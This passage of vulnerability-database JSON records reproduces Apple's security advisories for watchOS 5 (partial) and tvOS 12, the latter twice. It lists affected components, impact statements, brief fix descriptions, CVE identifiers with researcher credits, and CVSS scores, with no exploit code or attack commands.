behavior\n\nDescription: A cross-origin issue existed with iframe elements. This was addressed with improved tracking of security origins.\n\nCVE-2018-4319: John Pettitt of Google\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Unexpected interaction causes an ASSERT failure\n\nDescription: A memory consumption issue was addressed with improved memory handling.\n\nCVE-2018-4361: found by OSS-Fuzz\n\nCVE-2018-4474: found by OSS-Fuzz\n\nEntry added September 24, 2018, updated January 22, 2019\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Unexpected interaction causes an ASSERT failure\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2018-4191: found by OSS-Fuzz\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Cross-origin SecurityErrors includes the accessed frame\u2019s origin\n\nDescription: The issue was addressed by removing origin information.\n\nCVE-2018-4311: Erling Alf Ellingsen (@steike)\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2018-4299: Samuel Gro\u03b2 (saelo) working with Trend Micro's Zero Day Initiative\n\nCVE-2018-4359: Samuel Gro\u00df (@5aelo)\n\nCVE-2018-4358: @phoenhex team (@bkth_ @5aelo @_niklasb) working with Trend Micro's Zero Day Initiative\n\nEntry added September 24, 2018\n\n\n\n## Additional recognition\n\n**Core Data**\n\nWe would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance.\n\n**Sandbox Profiles**\n\nWe would like to acknowledge Tencent Keen Security Lab working with Trend Micro's Zero Day Initiative for their assistance.\n\n**SQLite**\n\nWe would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance.\n\n**WebKit**\n\nWe would like to acknowledge Tencent Keen Security Lab working with Trend Micro's Zero Day Initiative for their assistance.\n", "edition": 3, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2019-08-01T04:36:25", "title": "About the security content of watchOS 5 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4361", "CVE-2018-4383", "CVE-2018-4425", "CVE-2018-4354", "CVE-2018-4358", "CVE-2018-4399", "CVE-2018-4305", "CVE-2018-4433", "CVE-2018-4319", "CVE-2018-4337", "CVE-2018-4407", "CVE-2018-4336", "CVE-2018-4304", "CVE-2018-4340", "CVE-2018-4299", "CVE-2018-4395", "CVE-2018-4414", "CVE-2018-4311", "CVE-2016-1777", "CVE-2018-4347", "CVE-2018-4401", "CVE-2018-4343", "CVE-2018-4408", "CVE-2018-4412", "CVE-2018-4363", "CVE-2018-4191", "CVE-2018-4203", "CVE-2018-4426", "CVE-2018-4474", "CVE-2018-4313", "CVE-2018-4331", "CVE-2018-4332", "CVE-2018-4359", "CVE-2018-4341", "CVE-2018-4344", "CVE-2018-4126"], "modified": "2019-08-01T04:36:25", "id": "APPLE:HT209108", "href": "https://support.apple.com/kb/HT209108", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-10T17:00:20", "description": "# About the security content of tvOS 12\n\nThis document describes the security content of tvOS 12.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page. You can encrypt communications with Apple using the [Apple Product Security PGP Key](<https://support.apple.com/kb/HT201601>).\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\n\n\n## tvOS 12\n\nReleased September 17, 2018\n\n**Auto Unlock**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A malicious application may be able to access local users AppleIDs\n\nDescription: A validation issue existed in the entitlement verification. This issue was addressed with improved validation of the process entitlement.\n\nCVE-2018-4321: Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc.\n\nEntry added September 24, 2018\n\n**Bluetooth**\n\nAvailable for: Apple TV (4th generation)\n\nImpact: An attacker in a privileged network position may be able to intercept Bluetooth traffic\n\nDescription: An input validation issue existed in Bluetooth. This issue was addressed with improved input validation.\n\nCVE-2018-5383: Lior Neumann and Eli Biham\n\n**CFNetwork**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4126: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**CoreFoundation**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4412: The UK's National Cyber Security Centre (NCSC)\n\nEntry added October 30, 2018\n\n**CoreFoundation**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4414: The UK's National Cyber Security Centre (NCSC)\n\nEntry added October 30, 2018\n\n**CoreText**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: Processing a maliciously crafted text file may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2018-4347: Vasyl Tkachuk of Readdle\n\nEntry added October 30, 2018, updated December 18, 2018\n\n**dyld**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A malicious application may be able to modify protected parts of the file system\n\nDescription: A configuration issue was addressed with additional restrictions.\n\nCVE-2018-4433: Vitaly Cheptsov\n\nEntry added January 22, 2019\n\n**Grand Central Dispatch**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4426: Brandon Azad\n\nEntry added October 30, 2018\n\n**Heimdal**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4331: Brandon Azad\n\nCVE-2018-4332: Brandon Azad\n\nCVE-2018-4343: Brandon Azad\n\nEntry added October 30, 2018\n\n**IOHIDFamily**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4408: Ian Beer of Google Project Zero\n\nEntry added October 30, 2018, updated August 1, 2019\n\n**IOKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A malicious application may be able to break out of its sandbox\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4341: Ian Beer of Google Project Zero\n\nCVE-2018-4354: Ian Beer of Google Project Zero\n\nEntry added October 30, 2018\n\n**IOKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2018-4383: Apple\n\nEntry added October 24, 2018\n\n**IOUserEthernet**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4401: Apple\n\nEntry added October 30, 2018\n\n**iTunes Store**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An attacker in a privileged network position may be able to spoof password prompts in the iTunes Store\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2018-4305: Jerry Decime\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A malicious application may be able to leak sensitive user information\n\nDescription: An access issue existed with privileged API calls. This issue was addressed with additional restrictions.\n\nCVE-2018-4399: Fabiano Anemone (@anoane)\n\nEntry added October 30, 2018\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An attacker in a privileged network position may be able to execute arbitrary code\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2018-4407: Kevin Backhouse of Semmle Ltd.\n\nEntry added October 30, 2018\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An application may be able to read restricted memory\n\nDescription: An input validation issue existed in the kernel. This issue was addressed with improved input validation.\n\nCVE-2018-4363: Ian Beer of Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4336: Brandon Azad\n\nCVE-2018-4337: Ian Beer of Google Project Zero\n\nCVE-2018-4340: Mohamed Ghannam (@_simo36)\n\nCVE-2018-4344: The UK's National Cyber Security Centre (NCSC)\n\nCVE-2018-4425: cc working with Trend Micro's Zero Day Initiative, Juwei Lin (@panicaII) of Trend Micro working with Trend Micro's Zero Day Initiative\n\nEntry added September 24, 2018, updated October 30, 2018\n\n**Safari**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A local user may be able to discover websites a user has visited\n\nDescription: A consistency issue existed in the handling of application snapshots. The issue was addressed with improved handling of application snapshots.\n\nCVE-2018-4313: an anonymous researcher, an anonymous researcher, an anonymous researcher, an anonymous researcher, an anonymous researcher, an anonymous researcher, an anonymous researcher, an anonymous researcher, an anonymous researcher, an anonymous researcher, an anonymous researcher, David Scott, Enes Mert Ulu of Abdullah M\u00fcr\u015fide \u00d6z\u00fcnenek Anadolu Lisesi - Ankara/T\u00fcrkiye, Mehmet Ferit Da\u015ftan of Van Y\u00fcz\u00fcnc\u00fc Y\u0131l University, Metin Altug Karakaya of Kaliptus Medical Organization, Vinodh Swami of Western Governor's University (WGU)\n\n**Security**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An attacker may be able to exploit weaknesses in the RC4 cryptographic algorithm\n\nDescription: This issue was addressed by removing RC4.\n\nCVE-2016-1777: Pepi Zawodsky\n\n**Security**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A local user may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2018-4395: Patrick Wardle of Digita Security\n\nEntry added October 30, 2018\n\n**Symptom Framework**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An application may be able to read restricted memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2018-4203: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**Text**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: Processing a maliciously crafted text file may lead to a denial of service\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2018-4304: jianan.huang (@Sevck)\n\nEntry added October 30, 2018\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2018-4316: crixer, Hanming Zhang (@4shitak4) of Qihoo 360 Vulcan Team\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A malicious website may exfiltrate image data cross-origin\n\nDescription: A cross-site scripting issue existed in Safari. This issue was addressed with improved URL validation.\n\nCVE-2018-4345: Jun Kokatsu (@shhnjk)\n\nEntry added September 24, 2018, updated December 18, 2018\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: Unexpected interaction causes an ASSERT failure\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2018-4191: found by OSS-Fuzz\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2018-4299: Samuel Gro\u03b2 (saelo) working with Trend Micro's Zero Day Initiative\n\nCVE-2018-4359: Samuel Gro\u00df (@5aelo)\n\nCVE-2018-4323: Ivan Fratric of Google Project Zero\n\nCVE-2018-4358: @phoenhex team (@bkth_ @5aelo @_niklasb) working with Trend Micro's Zero Day Initiative\n\nCVE-2018-4328: Ivan Fratric of Google Project Zero\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2018-4197: Ivan Fratric of Google Project Zero\n\nCVE-2018-4318: Ivan Fratric of Google Project Zero\n\nCVE-2018-4306: Ivan Fratric of Google Project Zero\n\nCVE-2018-4312: Ivan Fratric of Google Project Zero\n\nCVE-2018-4314: Ivan Fratric of Google Project Zero\n\nCVE-2018-4315: Ivan Fratric of Google Project Zero\n\nCVE-2018-4317: Ivan Fratric of Google Project Zero\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A malicious website may be able to execute scripts in the context of another website\n\nDescription: A cross-site scripting issue existed in Safari. This issue was addressed with improved URL validation.\n\nCVE-2018-4309: an anonymous researcher working with Trend Micro's Zero Day Initiative\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: Unexpected interaction causes an ASSERT failure\n\nDescription: A memory consumption issue was addressed with improved memory handling.\n\nCVE-2018-4361: found by OSS-Fuzz\n\nCVE-2018-4474: found by OSS-Fuzz\n\nEntry added September 24, 2018, updated January 22, 2019\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2018-4299: Samuel Gro\u03b2 (saelo) working with Trend Micro's Zero Day Initiative\n\nCVE-2018-4323: Ivan Fratric of Google Project Zero\n\nCVE-2018-4328: Ivan Fratric of Google Project Zero\n\nCVE-2018-4358: @phoenhex team (@bkth_ @5aelo @_niklasb) working with Trend Micro's Zero Day Initiative\n\nCVE-2018-4359: Samuel Gro\u00df (@5aelo)\n\nCVE-2018-4360: William Bowling (@wcbowling)\n\nEntry added October 24, 2018\n\n\n\n## Additional recognition\n\n**Assets**\n\nWe would like to acknowledge Brandon Azad for their assistance.\n\n**Core Data**\n\nWe would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance.\n\n**Sandbox Profiles**\n\nWe would like to acknowledge Tencent Keen Security Lab working with Trend Micro's Zero Day Initiative for their assistance.\n\n**SQLite**\n\nWe would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance.\n\n**WebKit**\n\nWe would like to acknowledge Cary Hartline, Hanming Zhang from 360 Vuclan team, and Zach Malone of CA Technologies for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: August 01, 2019\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-09-17T00:00:00", "type": "apple", "title": "About the security content of tvOS 12", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-1777", "CVE-2018-4126", "CVE-2018-4191", "CVE-2018-4197", "CVE-2018-4203", "CVE-2018-4299", "CVE-2018-4304", "CVE-2018-4305", "CVE-2018-4306", "CVE-2018-4309", "CVE-2018-4312", "CVE-2018-4313", "CVE-2018-4314", "CVE-2018-4315", "CVE-2018-4316", "CVE-2018-4317", "CVE-2018-4318", "CVE-2018-4321", "CVE-2018-4323", "CVE-2018-4328", "CVE-2018-4331", "CVE-2018-4332", "CVE-2018-4336", "CVE-2018-4337", "CVE-2018-4340", "CVE-2018-4341", "CVE-2018-4343", "CVE-2018-4344", "CVE-2018-4345", "CVE-2018-4347", "CVE-2018-4354", "CVE-2018-4358", "CVE-2018-4359", "CVE-2018-4360", "CVE-2018-4361", "CVE-2018-4363", "CVE-2018-4383", "CVE-2018-4395", "CVE-2018-4399", "CVE-2018-4401", "CVE-2018-4407", "CVE-2018-4408", "CVE-2018-4412", "CVE-2018-4414", "CVE-2018-4425", "CVE-2018-4426", "CVE-2018-4433", "CVE-2018-4474", "CVE-2018-5383"], "modified": "2018-09-17T00:00:00", "id": "APPLE:95BC210DA5C57E5032BDB392962096A3", "href": "https://support.apple.com/kb/HT209107", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:41:38", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page. You can encrypt communications with Apple using the [Apple Product Security PGP Key](<https://support.apple.com/kb/HT201601>).\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\n\n\n## tvOS 12\n\nReleased September 17, 2018\n\n**Auto Unlock**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A malicious application may be able to access local users AppleIDs\n\nDescription: A validation issue existed in the entitlement verification. This issue was addressed with improved validation of the process entitlement.\n\nCVE-2018-4321: Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc.\n\nEntry added September 24, 2018\n\n**Bluetooth**\n\nAvailable for: Apple TV (4th generation)\n\nImpact: An attacker in a privileged network position may be able to intercept Bluetooth traffic\n\nDescription: An input validation issue existed in Bluetooth. This issue was addressed with improved input validation.\n\nCVE-2018-5383: Lior Neumann and Eli Biham\n\n**CFNetwork**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4126: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**CoreFoundation**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4412: The UK's National Cyber Security Centre (NCSC)\n\nEntry added October 30, 2018\n\n**CoreFoundation**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4414: The UK's National Cyber Security Centre (NCSC)\n\nEntry added October 30, 2018\n\n**CoreText**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: Processing a maliciously crafted text file may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2018-4347: Vasyl Tkachuk of Readdle\n\nEntry added October 30, 2018, updated December 18, 2018\n\n**dyld**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A malicious application may be able to modify protected parts of the file system\n\nDescription: A configuration issue was addressed with additional restrictions.\n\nCVE-2018-4433: Vitaly Cheptsov\n\nEntry added January 22, 2019\n\n**Grand Central Dispatch**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4426: Brandon Azad\n\nEntry added October 30, 2018\n\n**Heimdal**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4331: Brandon Azad\n\nCVE-2018-4332: Brandon Azad\n\nCVE-2018-4343: Brandon Azad\n\nEntry added October 30, 2018\n\n**IOHIDFamily**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4408: Ian Beer of Google Project Zero\n\nEntry added October 30, 2018, updated August 1, 2019\n\n**IOKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A malicious application may be able to break out of its sandbox\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4341: Ian Beer of Google Project Zero\n\nCVE-2018-4354: Ian Beer of Google Project Zero\n\nEntry added October 30, 2018\n\n**IOKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2018-4383: Apple\n\nEntry added October 24, 2018\n\n**IOUserEthernet**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4401: Apple\n\nEntry added October 30, 2018\n\n**iTunes Store**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An attacker in a privileged network position may be able to spoof password prompts in the iTunes Store\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2018-4305: Jerry Decime\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A malicious application may be able to leak sensitive user information\n\nDescription: An access issue existed with privileged API calls. This issue was addressed with additional restrictions.\n\nCVE-2018-4399: Fabiano Anemone (@anoane)\n\nEntry added October 30, 2018\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An attacker in a privileged network position may be able to execute arbitrary code\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2018-4407: Kevin Backhouse of Semmle Ltd.\n\nEntry added October 30, 2018\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An application may be able to read restricted memory\n\nDescription: An input validation issue existed in the kernel. This issue was addressed with improved input validation.\n\nCVE-2018-4363: Ian Beer of Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4336: Brandon Azad\n\nCVE-2018-4337: Ian Beer of Google Project Zero\n\nCVE-2018-4340: Mohamed Ghannam (@_simo36)\n\nCVE-2018-4344: The UK's National Cyber Security Centre (NCSC)\n\nCVE-2018-4425: cc working with Trend Micro's Zero Day Initiative, Juwei Lin (@panicaII) of Trend Micro working with Trend Micro's Zero Day Initiative\n\nEntry added September 24, 2018, updated October 30, 2018\n\n**Safari**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A local user may be able to discover websites a user has visited\n\nDescription: A consistency issue existed in the handling of application snapshots. The issue was addressed with improved handling of application snapshots.\n\nCVE-2018-4313: an anonymous researcher, an anonymous researcher, an anonymous researcher, an anonymous researcher, an anonymous researcher, an anonymous researcher, an anonymous researcher, an anonymous researcher, an anonymous researcher, an anonymous researcher, an anonymous researcher, David Scott, Enes Mert Ulu of Abdullah M\u00fcr\u015fide \u00d6z\u00fcnenek Anadolu Lisesi - Ankara/T\u00fcrkiye, Mehmet Ferit Da\u015ftan of Van Y\u00fcz\u00fcnc\u00fc Y\u0131l University, Metin Altug Karakaya of Kaliptus Medical Organization, Vinodh Swami of Western Governor's University (WGU)\n\n**Security**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An attacker may be able to exploit weaknesses in the RC4 cryptographic algorithm\n\nDescription: This issue was addressed by removing RC4.\n\nCVE-2016-1777: Pepi Zawodsky\n\n**Security**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A local user may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2018-4395: Patrick Wardle of Digita Security\n\nEntry added October 30, 2018\n\n**Symptom Framework**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: An application may be able to read restricted memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2018-4203: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**Text**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: Processing a maliciously crafted text file may lead to a denial of service\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2018-4304: jianan.huang (@Sevck)\n\nEntry added October 30, 2018\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2018-4316: crixer, Hanming Zhang (@4shitak4) of Qihoo 360 Vulcan Team\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A malicious website may exfiltrate image data cross-origin\n\nDescription: A cross-site scripting issue existed in Safari. This issue was addressed with improved URL validation.\n\nCVE-2018-4345: Jun Kokatsu (@shhnjk)\n\nEntry added September 24, 2018, updated December 18, 2018\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: Unexpected interaction causes an ASSERT failure\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2018-4191: found by OSS-Fuzz\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2018-4299: Samuel Gro\u03b2 (saelo) working with Trend Micro's Zero Day Initiative\n\nCVE-2018-4359: Samuel Gro\u00df (@5aelo)\n\nCVE-2018-4323: Ivan Fratric of Google Project Zero\n\nCVE-2018-4358: @phoenhex team (@bkth_ @5aelo @_niklasb) working with Trend Micro's Zero Day Initiative\n\nCVE-2018-4328: Ivan Fratric of Google Project Zero\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2018-4197: Ivan Fratric of Google Project Zero\n\nCVE-2018-4318: Ivan Fratric of Google Project Zero\n\nCVE-2018-4306: Ivan Fratric of Google Project Zero\n\nCVE-2018-4312: Ivan Fratric of Google Project Zero\n\nCVE-2018-4314: Ivan Fratric of Google Project Zero\n\nCVE-2018-4315: Ivan Fratric of Google Project Zero\n\nCVE-2018-4317: Ivan Fratric of Google Project Zero\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: A malicious website may be able to execute scripts in the context of another website\n\nDescription: A cross-site scripting issue existed in Safari. This issue was addressed with improved URL validation.\n\nCVE-2018-4309: an anonymous researcher working with Trend Micro's Zero Day Initiative\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: Unexpected interaction causes an ASSERT failure\n\nDescription: A memory consumption issue was addressed with improved memory handling.\n\nCVE-2018-4361: found by OSS-Fuzz\n\nCVE-2018-4474: found by OSS-Fuzz\n\nEntry added September 24, 2018, updated January 22, 